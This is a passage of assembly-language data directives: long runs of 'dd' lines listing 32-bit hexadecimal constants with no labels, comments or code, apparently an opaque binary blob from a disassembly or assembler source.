0FB87037Fh, 8F8A506Fh dd 4C1A301Dh, 0BD49C340h, 45C498h, 80EA57FDh, 68C21CE2h dd 26926114h, 41112D1h, 0BE0014h, 0F290C10Ch, 2417C59Ah dd 8034E27Dh, 3B61AAD5h, 3548F780h, 180700E7h, 0E089BF48h dd 6CE900D9h, 772C951Eh, 9100CB7Eh, 0C90DA862h, 1FE57511h dd 0C068A007h, 4A4D1C88h, 58C0FCAEh, 0AC1871F1h, 21E3015Eh dd 8BCD4E8h, 0E6FAD0B2h, 4110ED6Fh, 0E5B84BF2h, 6031CB60h dd 0E94D56DDh, 44241852h, 0B4097813h, 0EED4009Fh, 0DD3AD8h dd 55193EDh, 22475343h, 1D3C3490h, 87CC5Ah, 0ED1A3638h dd 0DEBFCFh, 749E6F18h, 6B7CDD42h, 0F44D0D24h, 6B10F00h dd 0AD4B4Eh, 2B063A0h, 1C5B5F70h, 777F11C0h, 766569D2h dd 9C9100EEh, 2A0A37C8h, 0E6001A4Dh, 92FA8947h, 906C5DD3h dd 343300B4h, 3EAD8C83h, 0B0FCBCFh, 8054F3EDh, 69909F1Ah dd 0F8D00B4Ch, 9F0042FFh, 0F45C65CFh, 7274FC0Fh, 0BBA2249Ah dd 45FE8B80h, 39DE00D7h, 6DC3BC98h, 3E00280Dh, 0BB64121Eh dd 0C5BEF2h, 996936E8h, 67CD1773h, 0A5249400h, 0D45A5533h dd 0A01E7EACh, 138C219Ch, 6C153Bh, 2F3A42DCh, 5F005791h dd 1D8A7108h, 0D09FD9h, 6B9C7EE0h, 0CCBC6117h, 19473200h dd 1BB04C5Bh, 0B1D10F60h, 40E07B74h, 0C717D95Eh, 535D3507h dd 21302E68h, 9227800Fh, 1AEF00E8h, 899C0A83h, 8D076EC3h dd 1222CF84h, 0CCA3CD70h, 0BBE65Ch, 7D4BB826h, 7206F155h dd 68EF3B0Ch, 0F0EC28B4h, 56A21DFEh, 5A7B03FDh, 10097FDAh dd 80BB0706h, 1CACCCEAh, 7D5D00F8h, 2FB11A95h, 20B9B3Fh dd 803C3ACEh, 39709160h, 7E6E009Dh, 0ACC19589h, 8CEC7308h dd 0DB18281Ch, 44CEE01h, 0A8C70B93h, 16FCDA0h, 0C407EDC0h dd 0C01BF882h, 9703E878h, 5F486B8Dh, 7DD2F842h, 1627024Eh dd 3CC7FEA1h, 76515C0h, 0AA00BC90h, 2714964h, 80432Ah dd 0D8B99932h, 7D8DF685h, 1D30FE4Dh, 1F8ECCF4h, 0A574A081h dd 60D668h, 0E4EC147Eh, 7C0BED59h, 0D4EBBB00h, 0FF5DBC99h dd 97F400A3h, 6F01171Fh, 0A60FDD69h, 0A0F5BAC5h, 1A776568h dd 96CB00CDh, 0E0A84CFh, 98001530h, 7214E0EAh, 1652B28Ah dd 0FCE417h, 0A7803437h, 34901F28h, 0BF2A38h, 7C227640h dd 38A5AC33h, 7E09751Dh, 7880EC8Dh, 0F16785FDh, 2638DE00h dd 3F2CCF42h, 88FF0076h, 0A3073959h, 6E83D28h, 712F2100h dd 0F4C842D3h, 0B64F2C5h, 0B1A8C47Fh, 0F8637880h, 33E23992h dd 0DB7E81F8h, 60032D03h, 88A58FEEh, 13902248h, 1FBD361Ah dd 0BBCA80FCh, 6ABF7A3Dh, 700DEE6h, 64BA268Fh, 0B0CE6079h dd 0B42D008Dh, 0CDCE00Dh, 48008CFDh, 4C6AD6D3h, 12E8A3Eh dd 76D70D4h, 0D717DF1Dh, 40268DF9h, 9F3E2398h, 6801F700h dd 0C30D0F05h, 0D0880060h, 0EDB9AA7Ch, 350FE886h, 0F83A151Fh dd 9546C20h, 991B9175h, 2D74F080h, 6008092h, 5D88D5F4h dd 0C55371Ch, 0A0CBA21Ah, 10FDD20h, 3F314D54h, 83D76F44h dd 33F004A1h, 0F40A013Fh dd 0DB791BCh, 234C854h, 0FBA23509h, 47E0900Eh, 11FE60AFh dd 9DA1C4ECh, 704CFF02h, 586BDE52h, 1802F82Ch, 28D630E3h dd 0AD06D26Ch, 66C93826h, 13A40020h, 0DA0AEC36h, 0E31FA825h dd 701712B0h, 9F033F00h, 75425CBCh, 24B88Ch, 0A5970D66h dd 8AA93A7Fh, 0C1080501h, 0CBE828CAh, 0E2D1F4h, 8C2EFF34h dd 4075855Fh, 38D6A901h, 7C527F90h, 3224C8h, 6CB76B0Dh dd 89406086h, 0DF58F000h, 14A48750h, 0CD4B0545h, 0AB5CEA9Eh dd 73763180h, 246FE634h, 89204974h, 0B4801903h, 611F5A54h dd 0C64230FBh, 2F0917E0h, 674706h, 5D6038D8h, 0E4C41735h dd 5914006Ah, 3F8D0A5Ch, 0C6AF2207h, 40A14413h, 202078B7h dd 826D0014h, 3CB8869Eh, 19009C18h, 13EB4D47h, 0EC2B4DEh dd 85953B81h, 3F6EF180h, 5005E65h, 38190168h, 595D2Bh dd 6F0655E4h, 56211AD3h, 7A00D89Ch, 52617734h, 0BCF30EB4h dd 8820E9C2h, 6D824695h, 4AB74E00h, 0ED1E8145h, 92D201ACh dd 0C7385AA6h, 0DD24FC90h, 80691300h, 7E4B8E39h, 109B4CE6h dd 6781AF04h, 7CECC0DAh, 9E4910ACh, 0FA240010h, 0E9DB0515h dd 0F468261Bh, 5F140018h, 29DA6E1Dh, 0AA7B7600h, 0EB7A8CA9h dd 0B86A018Ah, 0A5633220h, 0A37630FCh, 423F4900h, 91B488D0h dd 77570015h, 0F411D839h, 980167F9h, 46D57B2Ch, 0DA405209h dd 34C23Ch, 0E5E99B88h, 2492F70h, 0DD24A9B8h, 0ED000E1Ah dd 0C1C28EA9h, 3CCA0741h, 307B4952h, 6313A03Eh, 934C7200h dd 1C97E034h, 0E17288h, 0A39E47B1h, 0DEF0430Fh, 5B39AE00h dd 775EB670h, 60060090h, 453133BCh, 0E1EA53E9h, 94A9D907h dd 79CDF6FFh, 80C173C8h, 0C6B04CE4h, 9585300h, 0FAD8E3EBh dd 42880096h, 3EB0EEEAh, 9D1ECAD2h, 0DD63185h, 3641AA00h dd 714C3C7Dh, 3066770Ah, 93103BC5h, 6700E872h, 108AA07Bh dd 0E5707CAh, 3CF16348h, 71E58198h, 0ED94CA88h, 0D62AF88Bh dd 0AE11C000h, 8C075026h, 0AF5F2B18h, 66A71720h, 0DF5E0025h dd 0A1039ABFh, 0E1001BBEh, 0F8DB9570h, 91E23Fh, 0D0D4B3C4h dd 6555B068h, 0EA7E7C00h, 0ACDF18A7h, 5DA90034h, 0E4DBE382h dd 650046E8h, 3349E1F4h, 2AF906h, 667D3836h, 194CD2D0h dd 97512F00h, 9587657Eh, 27B0BBh, 0FA407626h, 5FF7A51Bh dd 0A8000FE2h, 91B3AA24h, 77D4B48Fh, 54CD00E3h, 0FEE438BFh dd 0B803E651h, 0E7ED6202h, 1149B95Fh, 31C0D644h, 3E33EFA5h dd 3FBAFE44h, 1402D280h, 42A431D4h, 9CF0B500h, 1D4DE093h dd 8B40037Eh, 38B83753h, 0E690AFD8h, 2203FDB0h, 5B24D0E3h dd 0F5C5E0B4h, 0EB4B0705h, 819A9C0Fh, 0C01F9247h, 23001815h dd 8B4FDBB4h, 7F39A9EBh, 96E60349h, 372C1D27h, 0E7D7A5F8h dd 4FFCB300h, 75F7BE54h, 8C7E18h, 89CCCA82h, 0D6C7C88Bh dd 3C733Bh, 38A31BA7h, 43E11h, 9C533D0Dh, 9991254h, 4768E000h dd 337AA14h, 0E2F9839h, 0E58169Ah, 55644860h, 230089BBh dd 0A7F7CBA4h, 2C10273Ah, 6D3FDEh, 0B9A888B6h, 9E744BC9h dd 78871B00h, 0AB38EC0Dh, 19BB000Eh, 7E72EDF6h, 0D500221Eh dd 997466E7h, 38EA396Bh, 1480B05Fh, 1F850849h, 0DA00E1CBh dd 68E4BC44h, 5D9C96h, 6D1AB2EDh, 7B151151h, 4C733600h dd 0A340997Fh, 42106CBh, 69833332h, 6297A000h, 0ECDEC67Dh dd 31AC4807h, 0C05D0D1Eh, 0EB4A192Eh, 430FF86Dh, 20B3782Ah dd 0F0F5128Dh, 32371D25h, 0F2EA0121h, 308EFC4Fh, 6B001F18h dd 276541BEh, 20FDFD5h, 3EA3727Fh, 0D040520Dh, 0F373F854h dd 57783870h, 0D06F0527h, 0C55C0B93h, 1A008308h, 9376BCC0h dd 0CCF7F603h, 0F4E963Ch, 15528160h, 1DEC5760h, 0A7079EABh dd 0E2D563EDh, 56A146B1h, 6D662880h, 87A44B3h, 15707CC0h dd 37E72Ah, 78BF52D2h, 96D96B74h, 916AD500h, 0CB5F3CACh dd 315D01DCh, 80954F1Fh, 0CCEFFDAEh, 0BF006B9Fh, 0EE3CC17Dh dd 48484DCAh, 723D6474h, 7BF01C00h, 9A304C49h, 391FAFEAh dd 0E44DA775h, 29F4E43Ch, 0F4630F4Fh, 97C0B6DAh, 0BF2D4128h dd 656FD60Bh, 2EFB8345h, 2F88E82Ch, 0BB020340h, 0CAD73CD2h dd 0E78A6190h, 2579E807h, 15D1FC56h, 0D20DFE4h, 587603A0h dd 0B266ACF8h, 55F213E8h, 0DA2B9400h, 0A53404D8h, 3B38C078h dd 0B45A9F09h, 74737100h, 0C0FFC7F3h, 638E248Ah, 2390092h dd 0ABD31B3Dh, 6ABEB12Eh, 357EE404h, 0CE51880h, 593E00D7h dd 3203D250h, 8B5039BFh, 0FB00EFB8h, 8FC4C945h, 707AEA1h dd 471F69CDh, 73D1C0E7h, 0C1C044D4h, 3CBFEBDBh, 4BBC30F0h dd 66DAA920h, 0CC627701h, 6D65765Dh, 7875EBE8h, 50F00EEh dd 1B8E95C9h, 4500E9D4h, 0B30656ABh, 0C0226Dh, 4CC28239h dd 0F252117Bh, 6B3E4D07h, 8A908D63h, 0B83C0A9Fh, 41141FA3h dd 28EA40C4h, 0F2A09F9h, 6A91C500h, 1D635078h, 0F55900F3h dd 295988Dh, 1A00AB1Fh, 87C7F949h, 0A183D1DAh, 0C72076BDh dd 9A21F85Eh, 28AC6068h, 48D4B83Ah, 0E4D24002h, 81BDD8F3h dd 1032C98Dh, 5AF4B821h, 0BEDC07BAh, 13270420h, 71D8B3C2h dd 0D70EC05Dh, 0EF2C82h, 9E7E124h, 0AED300ECh, 0FA80907Eh dd 0E07D7C3h, 82FE6D68h, 7F542770h, 181848E0h, 5669D308h dd 80D86B4Eh, 28DF086Fh, 0C3890F39h, 0D667BA3Eh, 0D2FD620Dh dd 0BECC0760h, 0A299E31Eh, 0FB82CE00h, 504DD5DCh, 0FCCC42h dd 44664E47h, 552734C4h, 8220F403h, 1A964D1h, 0F0269F14h dd 0D499FB3Fh, 0FF00EB5Eh, 32699D6Ch, 3CF11E40h, 22005524h dd 1846866Dh, 12009ACFh, 1D47BA48h, 332429h, 634DBCEh dd 0F1148392h, 674F9D00h, 434B19B1h, 98AC00DEh, 2C876FF5h dd 1A0FFC9Ah, 408F9C40h, 67597DBEh, 9EAE483Ch, 210B0F7Ah dd 8CA0655Eh, 0C5B22E7Fh, 7511A600h, 33079214h, 0EA3D0EAAh dd 2020EEDDh, 0E09D5B9Eh, 7A71D0A8h, 0D20D2700h, 0CFD53205h dd 0C23507B8h, 2E8AACE5h, 0EED77Eh, 0C9BCCDB6h, 8F00C7AEh dd 7E750A95h, 2E6F277Fh, 0F370C4h, 0DB6B912Ch, 2033C196h dd 0E7ED605Eh, 0EEA42941h, 13ED730h, 4A9E7FEh, 34233AF4h dd 4C30BFCCh, 88D9315Bh, 0DB691D45h, 7FD503A8h, 80E74185h dd 0BA9D4478h, 244E8D1Fh, 4917CC40h, 85BFF8h, 777FD6B6h dd 0E68E0211h, 25396F00h, 3A1FCEFAh, 0F3EF0588h, 0C1B22947h dd 0D859BFA4h, 5100CC94h, 2F1F965Ch, 1237652h, 447FEFB7h dd 70B3B472h, 0D2395EFAh, 0E05B80AAh, 17FE1EC1h, 0B97C001Bh dd 0A9F2FF58h, 76000651h, 854AF898h, 0CFABB159h, 73C2BE28h dd 748F4DF4h, 0F95B5300h, 0B63B314Bh, 0C402F404h, 0B46AA102h dd 0F572008Fh, 0D9501E81h, 3B0F6980h, 8078DF22h, 6FFC8B0Eh dd 6DD71FEFh, 0E2494070h, 45695A77h, 882C4A00h, 404F5D1Eh dd 171C5C4Dh, 0D11A0C00h, 0C4D3B038h, 84FF0F00h, 0DE67685h dd 0E89E053h, 6E9E4079h, 9C2CA100h, 84015ED3h, 4CBB57EDh dd 0D2FC38C1h, 51B203D9h, 7DE6BDEBh, 0D22DF98h, 21003F5Bh dd 9F55F03Eh, 8FAA3CC2h, 36AD4E00h, 4DCC0EAFh, 0AE55300h dd 0CDB2C43Eh, 0E906002Fh, 50A0EE46h, 51001EFAh, 0D31CF242h dd 1F62F38Ah, 0C0335860h, 0E6D7319Ch, 0D4F9943Bh, 2400A306h dd 0BC480FBBh, 12B0AE22h, 7F3A9Dh, 946C721Ch, 83000573h dd 0B326B171h, 0EE804469h, 979100C3h, 2B95F996h, 0C8A82F9Ch dd 607CDC59h, 5E53AF00h, 0A32DC06Ch, 0B1D305A9h, 42C87Bh dd 0EA1F43CCh dd 0AC001472h, 0B6470667h, 918F35h, 51C017FAh, 4D4FE24h dd 496A8800h, 5A3DD248h, 0CB34A0A3h, 80CF00A4h, 106CFB04h dd 7F07DA5Dh, 7C1D6723h, 0BE7190A0h, 87F30099h, 6FDD838Eh dd 0E801DA49h, 6EDFD43Fh, 8083AA58h, 0F272811Ch, 8B2E63C8h dd 0F4D36800h, 0A2DD3E87h, 66EC1241h, 0A32446A0h, 0F63D812Dh dd 407B80E2h, 0EE50A656h, 0AB990038h, 0BCA7B72Ch, 5D497730h dd 500100C0h, 96586F80h, 71090ED6h, 33DA481h, 0F3EC3F91h dd 44F961FEh, 6A2490C8h, 8F1C0563h, 0D940CF03h, 4218B271h dd 0F780E79h, 98813E73h, 80CBBB62h, 84A992C2h, 74C18A40h dd 21336F8Bh, 4B82B643h, 0F3D58FC0h, 0C4069607h, 4ED11158h dd 43F18562h, 781BD0h, 0C7406BB8h, 84AF26B3h, 0AC7F1D1Dh dd 5B3008h, 0A7405122h, 306B768h, 17DA677Bh, 0EE920C69h dd 7F5829B4h, 8360BF00h, 222B4226h, 0B8626244h, 0B918746Dh dd 92643A82h, 0AE888B21h, 0E4CA0077h, 2952B181h, 0C7D36018h dd 0C088F239h, 0C0B21B08h, 4B004F67h, 59D5CB41h, 854914h dd 5E6498DEh, 74BF7DD1h, 1B887F66h, 60B20041h, 841E20E5h dd 0AB377217h, 0F8C3208Bh, 3FC17CE8h, 8840FF92h, 2430F614h dd 13DC8198h, 10805554h, 0B3F522EBh, 0BE0E040Ah, 477C746Ch dd 8660660Ch, 465488h, 31567229h, 0E8B42AC5h, 0A5497500h dd 2306A911h, 7B7B6Ah, 0B3B2AAF1h, 8A1EF2D6h, 2980C500h dd 67DA7FE9h, 71570068h, 5A93B635h, 160002ACh, 36E5428Dh dd 0E47A9Fh, 0E0CB399Dh, 58748F55h, 153F4B00h, 1BF30DF6h dd 0A60A0EE1h, 0E0205CFAh, 0DCF7CADDh, 841E5FE8h, 8B1E3D12h dd 6F635D40h, 7ED3F348h, 0C70E003Eh, 0D186746Eh, 278CC8Ah dd 462928C4h, 4462FF44h, 0FB4675E2h, 41F351E1h, 12027314h dd 81288386h, 61292116h, 88060E08h, 368C733Ah, 88AD7907h dd 0E4004DCDh, 0B823D7B4h, 7FDFFFh, 62548635h, 82BDA8Fh dd 570B1100h, 0AD2FAA8Ch, 0CF120F06h, 0ACA13CB6h, 0C01C8310h dd 6E00AE5Dh, 0B165744Fh, 5CD57DC0h, 0F200F6ADh, 37F57F10h dd 3000C1FDh, 81748344h, 50EBCF22h, 0AD4CE29h, 0BAEA0FC5h dd 0E6CA00BEh, 0B57F669Bh, 0E44B4401h, 0C85FBF1Ch, 19815AD5h dd 73977A5Dh, 45CAF889h, 2300C67Ah, 4AF76F1h, 1F3C55Bh dd 3975585h, 602AB95Fh, 0D07771E2h, 9C005C7Fh, 8A826508h dd 2BBB9Ah, 50439D3Eh, 349728D9h, 0B240D400h, 9E2F4496h dd 8B3800D5h, 5C9DA2F9h, 0AA00C3A3h, 0ECFB92EEh, 492978h dd 98FF771Ah, 0F4BA5FEBh, 0BFF77D00h, 0EC682D22h, 0F1E41C6Fh dd 8A0D40A7h, 0FF726377h, 0E62DE3Fh, 0E03ECFBAh, 0FA3320Ch dd 4A8FEDCh, 798F76E4h, 0CB0EFF94h, 7D7560EFh, 7789FAh dd 96281133h, 4DDCE31Dh, 0BE248300h, 9FB2B9F0h, 4B54009Bh dd 0B8F80F56h, 71007755h, 0E026BC0Bh, 0A1DE7Ch, 507A3643h dd 6FB93ABh, 0C245B500h, 35A073C6h, 0FEC326C9h, 0A876078Eh dd 3A2DA0D5h, 73070C22h, 9D2CB599h, 0FD7A06A0h, 0B2C807ABh dd 8030A5FFh, 5928FD0h, 29F3C900h, 0AE510918h, 13F800C6h dd 0A025A804h, 2309DE01h, 1183BC3h, 522D410Fh, 94BCF07Fh dd 3EE84400h, 0B898D9DCh, 56A70020h, 6DCDB4D0h, 0A5580579h dd 55C1046Eh, 0F5C4DDF2h, 68F59E00h, 2EDF28h, 9320A554h dd 0A6CF2CFAh, 677D6FEAh, 5B276800h, 3254D9DDh, 2CC734Fh dd 877CB563h, 80F593F7h, 31E91265h, 18BA006Bh, 0D129EDEFh dd 0EB004BBEh, 5A95CD26h, 12D477h, 96EEAE35h, 0DF0E4A08h dd 1AF3FF00h, 47C72AF6h, 976F00B4h, 8DACE1DDh, 50077B2h dd 7220A253h, 287156FEh, 60EFAE62h, 0D2E51906h, 0A000F223h dd 0CFCB472Ah, 107055h, 0AABEC515h, 3C34671Fh, 494C1E00h dd 0D4B6875h, 0F9F0069h, 38A932FCh, 0EC1D6AF3h, 379FE09Ch dd 6182DEC1h, 0F880282Dh, 30E2A185h, 7E009F5Ch, 0D1153E0h dd 59EB3h, 69DECFDh, 0CFFE4778h, 0BC293A00h, 4E11F4CEh dd 671A0F6Eh, 8600CD13h, 845A0272h, 0C6DE9C09h, 1051006Ch dd 97B936h, 0AC504457h, 0AE3C2E8Ah, 2C68E000h, 0A359D75Fh dd 126B3ABAh, 0DCD0AD03h, 75E8E678h, 237171CFh, 0FCF62D3Ah dd 550FAE00h, 6EF8C5DDh, 0A57448A2h, 0B2240500h, 0D4D7413Fh dd 0F11D800h, 84B9CCBFh, 0E995005Eh, 0FAA806CFh, 6724711Ah dd 28003021h, 0FD31E399h, 9FAE4h, 184627D5h, 0C70AAC36h dd 0D8EDC507h, 24100287h, 0FCD6E8DCh, 98A400E7h, 50CD226Ah dd 2E02EE11h, 8E4E9783h, 0AC23215Dh, 9A3401FFh, 90AF70E8h dd 0CADC00B4h, 8D7AF3D3h, 670096ACh, 0D97EA407h, 75BC5Ah dd 33514A5Ch, 0A2FD2CCh, 13D8900Ah, 0A80094B7h, 0F8A9285Ah dd 8A9E0709h, 401F9D83h, 8EE87310h, 0A5D6BB04h, 8B809F0Eh dd 6F48893h, 102162C0h, 460B199Bh, 0BF7C64Bh, 0F5F0005Bh dd 163FB4Eh, 0E78D3645h, 0D0597985h, 0DE72F6EEh, 6ED94000h dd 0F53C2054h, 42CA0010h, 370FDF47h, 0CC1377C7h, 41001E30h dd 50F0415Dh, 0A0C0053h, 3D93BCB1h, 16721B46h, 587A7300h dd 0B978BA86h, 0EDD8005Fh, 0AF528528h, 41E8C5D1h, 66AF900h dd 8127A50Bh, 73EE07F3h, 7F63EFE0h, 7B6B9000h, 0EC1A5BBAh dd 8039C362h, 112D3658h, 5DD0006Eh, 626AE781h, 56128877h dd 3C5E2694h, 60B4C7C0h, 242C58F3h, 1DB1E1Ah, 0C4C50DB1h dd 20FCE9FBh, 10001716h, 0A55C2E0h, 7922F1h, 1D5E24F9h dd 0C7216C30h, 0C62CEE1Fh, 1013FA40h, 0FC99592h, 3873890Fh dd 0B67A2E80h, 483F8C32h, 2F2C8041h, 0C019D9F5h, 0BFA300C8h dd 0D6980DBh, 0FB003573h, 0D7C11062h, 0E7D4DBBh, 91BA5A30h dd 0F4A71E07h, 82BC94E7h, 0B841833Ch, 776970D2h, 0CE12702h dd 402BBE65h, 0ABEEBCh, 16D1AD6Eh, 0B50546CEh, 0D5925200h dd 7D26ED87h, 3FC0E1FFh, 0D3F50027h, 83C87981h, 0A36048C7h dd 44A47570h, 8BDD26EDh, 37218BA4h, 0D0086284h, 0F8E63DA4h dd 52F2651Fh, 0B98DC7C2h, 55D0680Ch, 81A0058h, 77D4188Ah dd 0AD0024B4h, 0BD633E8Ch, 1925BE6h, 725C6FACh, 87EB7768h dd 0F7651BD8h, 0F5CC9100h, 86B000Ah, 40E27525h, 0CE3EA737h dd 0AA53001Bh, 85B44480h, 84480F4Bh, 0EFA05EE5h, 0D7CEDD57h dd 0AD21B200h, 3052B167h, 6C75004Eh, 0BE152597h, 0C20018CAh dd 0E9A5F599h, 1FF2D01h, 0D40989D6h, 0F67D9208h, 828C2740h dd 0DAD59F00h, 6AB1AE9Ch, 9030C043h, 3337949Bh, 0B832480Ah dd 3E408850h, 43DBEBh, 0C3287C2Fh, 4A18994h, 0EACC5401h dd 3DDEA4D7h, 36C3430h, 31E41E0Dh, 49D03536h, 0F200EFD8h dd 0CA484EBAh, 6D6399h, 0AF265E8Ah, 21D96090h, 73383A4Dh dd 195B15Ch, 3B4AD323h, 80C07B96h, 0E72002A6h, 0C10CB31Dh dd 394EF680h, 4FECEDFEh, 0AEC67B0Fh, 0F600FC88h, 872AB6Fh dd 0C400052h, 3319128Ch, 4A00E8BEh, 4D18733Fh, 0B56628h dd 588A6595h, 9F4CFE5h, 70042E00h, 1EB3A55Dh, 27250F07h dd 6000B78Ch, 869FA143h, 6FD09800h, 0EC174BAh, 0DCBD00B0h dd 2FE59122h, 0CE3476E7h, 0F9C74073h, 2685F120h, 9A603EABh dd 0CF35F080h, 0D7119040h, 0FA04A700h, 6DADCA30h, 0A0C101F5h dd 7B580121h, 0D8E0307Ah, 0D18E5A24h, 0FC30F400h, 7D6C5Dh dd 0EB3B7642h, 0C474F385h, 0D6969A00h, 3A8AFEF2h, 7BAB0F3Ch dd 420D480h, 977809D8h, 0C1471200h, 8B857FFh, 96A90040h dd 315D49FCh, 9E0444DEh dd 0DA4F7CC0h, 809BE0C3h, 0E6A237h, 0AC5BE0D3h, 0F440D479h dd 0E5074800h, 0B69A0BA9h, 5786016Fh, 0B455F091h, 0EB9CE0FAh dd 0A1A47F00h, 5F5817CDh, 2CAC0032h, 5DBDDC5Ch, 99486522h dd 0DD5A01C5h, 0D703511Eh, 0D28820h, 12E4451Ch, 0EB9E33C1h dd 0F8479500h, 6421CA2Ch, 0DC6900D6h, 0A067B3B8h, 174C453Ah dd 0C5FA0132h, 0B93FAD54h, 0B878B30h, 3EA32EFh, 0B872AA06h dd 0F0B4083Dh, 4D48E4F6h, 175C4C19h, 1900BD81h, 17B6967Fh dd 0F18500E1h, 0ECFE6E32h, 9C00CBA5h, 8CBD91F4h, 7F319495h dd 2F5B01E1h, 8254FAFDh, 3726C4FCh, 78BF6800h, 3DC2F962h dd 0A9910034h, 0A56C9C89h, 7109174Ah, 1AC3C6h, 79FF5E90h dd 87FE00D3h, 0BF545FCFh, 0B8004689h, 11E7D59Ch, 78B7FAh dd 0D98180EDh, 36267BF4h, 890BB3F4h, 80548656h, 383DE244h dd 0F72E17C4h, 2D9C002Ch, 0B9F5225Bh, 0D269FD00h, 6009A417h dd 0F29F0010h, 2842DB78h, 620189CBh, 303FE60Eh, 0A4EC9664h dd 0DD2200B1h, 93F97FC3h, 9A58F61Bh, 6F5B079Ch, 0A940314Bh dd 90944240h, 1D500014h, 831B2DDCh, 0F03A8A47h, 0E39E004Bh dd 0A66AAB7Bh, 0B1A70067h, 0B2BA102Ch, 3A02BF16h, 0E029F285h dd 15E24020h, 1A89000Dh, 0A5CCFFE9h, 0E09867E6h, 0D5DE4B00h dd 6146BF22h, 0DADF0030h, 6FCFBEF6h, 0FB001120h, 0E3A2444Eh dd 0EF9843h, 55F46A4Ch, 0F81438C9h, 0C31E3C0Ch, 0E66485h dd 312347E8h, 909F508Eh, 0DB002CB0h, 0C649D71Fh, 0CE1D7CB5h dd 44C48228h, 0B3A48065h, 40F6A8C0h, 11029600h, 3682018Ah dd 1B3E0052h, 28F3AFB9h, 0CC00BBDBh, 79E4A04Bh, 206A835h dd 8B021AC1h, 0B6C08487h, 0AA12BEEAh, 58800FECh, 80744B95h dd 9EEAA5CFh, 2681D100h, 75B0EDB6h, 0DB2C00C6h, 0E5BEB863h dd 2DF8B506h, 0F3686B07h, 70809BA0h, 462A709h, 241E0B7Bh dd 0DA92807Eh, 14034991h, 0F4FEFF66h, 4D77F0D7h, 3732390Bh dd 87020A00h, 0F6C503B1h, 0F2615C1Eh, 7A99D400h, 134EF3h dd 5A12170Ch, 0B05CC1Fh, 0A9040DF4h, 54C6E4B5h, 3FC85C80h dd 9D900402h, 0C0689983h, 0D6F8673Dh, 262AAF00h, 0E6780F64h dd 448D00A1h, 0D5F6883Bh, 0B13845C7h, 6FED028Ah, 40CE4FB2h dd 262F3A99h, 7ECFD3Bh, 0CE60C5C3h, 0CF1681D4h, 0AD9803E4h dd 0B6D0DB64h, 0AE988D85h, 0AB724A1Fh, 717AB380h, 0D6E4D4h dd 0B5049917h, 696B388Ch, 0E62D0500h, 3B6ADDA9h, 5BA73B5Ch dd 4660CD00h, 2C9010E2h, 192A0831h, 4083160Bh, 8CFCBA63h dd 30DC0A5h, 1700222Bh, 76847DA8h, 0F45230h, 0D40F8C66h dd 65633D97h, 94CEBD07h, 0F5402068h, 1F70F947h, 202056Bh dd 1C8A6EA7h, 5D74C380h, 0F70FB437h, 99B37Ah, 0CEE90EBBh dd 9FEC00DBh, 6AD4A16Eh, 8E122F49h, 60002858h, 753D0578h dd 8BDF00C9h, 0D00251AFh, 1B05A188h, 0DAEA310Fh, 876783h dd 2BB950AAh, 6EFEB51Eh, 0A1789200h, 77ACA513h, 0E94701Ah dd 966137ABh, 2E2452EFh, 0A844884Ah, 0DCC15D03h, 0D81D1FABh dd 0E08089B8h, 0C4E6C0h, 0A01E48A6h, 63222EA3h, 0B90C8B00h dd 40C2B7DAh, 0C45A0255h, 8860CE77h, 209F7160h, 63A24304h dd 0CCD00B4Ah, 344B06Ah, 0F4395394h, 0C2989670h, 0EB2438AAh dd 3B3F8C36h, 32BD80Ch, 184C4106h, 5E6007BDh, 2655E1h dd 11FA3582h, 0BDC17839h, 5D007459h, 0C464524Bh, 126C4DC5h dd 0DF56F0h, 0C12775E4h, 0B0632224h, 0B0954648h, 9A4347h dd 684B0F85h, 196FBBB7h, 80FCB203h, 8BF5277Fh, 6DFFD0EEh dd 0FA2024A0h, 1D37003Fh, 63088BBEh, 0C68AC800h, 45F18E1Fh dd 7DD500CFh, 6C5CC19Bh, 82031965h, 0E5AFC9FAh, 9C7FB86Ah dd 0E4640EB1h, 3F802CF1h, 0B7AB4E66h, 93E13407h, 0F490CED2h dd 0C69F3Ah, 2F32E7DDh, 3514C12Bh, 0E3F8BC00h, 0AB524D4Ah dd 4E5F00B9h, 8426C48Fh, 0DA073687h, 0F4F33CC6h, 192D7110h dd 5735005Eh, 0AE2E67CAh, 941EC97Eh, 370E52B5h, 0DC8A2C58h dd 0CC0A0B76h, 0C580CF2Fh, 0D66B23B5h, 2B98B00Fh, 0C58A60C3h dd 0FE47913Fh, 0F8310196h, 901F9278h, 0C440ECA8h, 0EE6A800Bh dd 9338802Ch, 5CCE4688h, 0DB38F004h, 0E33C1A81h, 0C8B3C9F8h dd 0D8008A02h, 17E5AB6h, 0A28121h, 0B2E704A9h, 0F16CA42Fh dd 0D339BB00h, 1320247Bh, 0B40200DDh, 0AA58895Dh, 9900F282h dd 0C9055CE3h, 65A2D7h, 44B73063h, 1A688772h, 4A0EF50Eh dd 0C4DB2005h, 6073EB86h, 4151341Fh, 0E8FCA94Dh, 6343A500h dd 0AD357BF3h, 22C201D8h, 383E45B4h, 2EA8C4BBh, 0BA78700Eh dd 0E0A20E5h, 3B6B53AFh, 0EB80F45Dh, 64402F99h, 0FC0E6C31h dd 80579763h, 7D092AC4h, 0D74B077Eh, 0D3A42C73h, 30D84A1Ch dd 0E6185EE5h, 6772CB89h, 0DB6AC055h, 475FE32Dh, 7C768D04h dd 1C81340Dh, 0A200E706h, 40010FCh, 0A1CD5123h, 7BFDC329h dd 0F307E03h, 2DB6614Bh, 9E88FE60h, 3500A4EAh, 64F367E4h dd 10928Dh, 81CE2EB3h, 70159471h, 0AC00957Fh, 66C76D2Dh dd 18307336h, 0B00DE0A5h, 8BE65A05h, 59209B00h, 8AA9D5F9h dd 26090092h, 1556DF3Bh, 0FE00885Dh, 3191F1F0h, 1FAC8333h dd 41C54B9Eh, 6BE1038Ch, 19D22042h, 0D7503067h, 0FEFC4330h dd 0B10800FBh, 89B0714Bh, 8B00862Fh, 0C949E84Ah, 0FC264Eh dd 0F99DFA56h, 0D057A741h, 74E1D800h, 0D553D6Dh, 64AE0023h dd 735B0AE6h, 0E43EC976h, 143B1D49h, 2EEE1C80h, 16F5D79h dd 4827A625h, 40B0F405h, 9DD3579Ch, 89FCB500h, 120A2C5Dh dd 0CCAD008Bh, 93F08554h, 5FECDEF5h, 91575B07h, 0D9C09297h dd 0F88369EDh, 86110036h, 62F4337Fh, 0AF00EC5Ah, 0F87A0E23h dd 3EA5700Fh, 0C000D8F7h, 0BC4D2529h, 75006946h, 3271039Bh dd 7C3B2E06h, 0B51703C3h, 0D8F9FC56h, 0B7C92FB8h, 667A0900h dd 5B415519h, 8EAD078Dh, 0C792DC4Ah, 0B0D0B7C9h, 14AB1545h dd 8C012509h, 6AB880E6h, 0FAE04626h, 